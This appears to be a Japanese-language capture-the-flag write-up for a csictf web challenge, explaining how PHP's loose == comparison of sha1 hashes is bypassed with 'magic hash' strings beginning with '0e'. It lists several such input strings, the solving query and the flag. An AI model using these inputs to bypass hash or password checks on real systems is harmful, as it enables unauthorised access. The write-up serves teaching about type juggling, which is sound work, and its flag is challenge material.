Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

README.md

Warm Up:Web:100pts

If you know, you know; otherwise you might waste a lot of time.
http://chall.csivit.com:30272

Solution

アクセスすると以下のphpのソースが出てくる。

<?php

if (isset($_GET['hash'])) {
    if ($_GET['hash'] === "10932435112") {
        die('Not so easy mate.');
    }

    $hash = sha1($_GET['hash']);
    $target = sha1(10932435112);
    if($hash == $target) {
        include('flag.php');
        print $flag;
    } else {
        print "csictf{loser}";
    }
} else {
    show_source(__FILE__);
}

?>

hashクエリのsha1を衝突させるとflagが出るようだ。
しかし文字が異なる必要があるため現実的ではない。
ここで以下に注目する。

~~~
    $hash = sha1($_GET['hash']);
    $target = sha1(10932435112);
    if($hash == $target) {
~~~

厳密等価演算子ではないのでphpはキャストして比較してしまう。
以下のようにsha1が0e07766915004133176347055865026311692244になるので、数値0と等価だと判定されるらしい。

$ php -a
~~~
php > print (sha1(10932435112));
0e07766915004133176347055865026311692244

0eから始まり、数字が続く文字列を探してやればいい。
以下が知られている。

aaroZmOk    0e66507019969427134894567494305185566735
aaK1STfY    0e76658526655756207688271159624026011393
aaO8zKZF    0e89257456677279068558073954252716165668
aa3OFF9m    0e36977786278517984959260394024281014729

どれでもいいが、ここでは?hash=aaroZmOkでアクセスする。
するとflagが表示された。
flag
flag.png

csictf{typ3_juggl1ng_1n_php}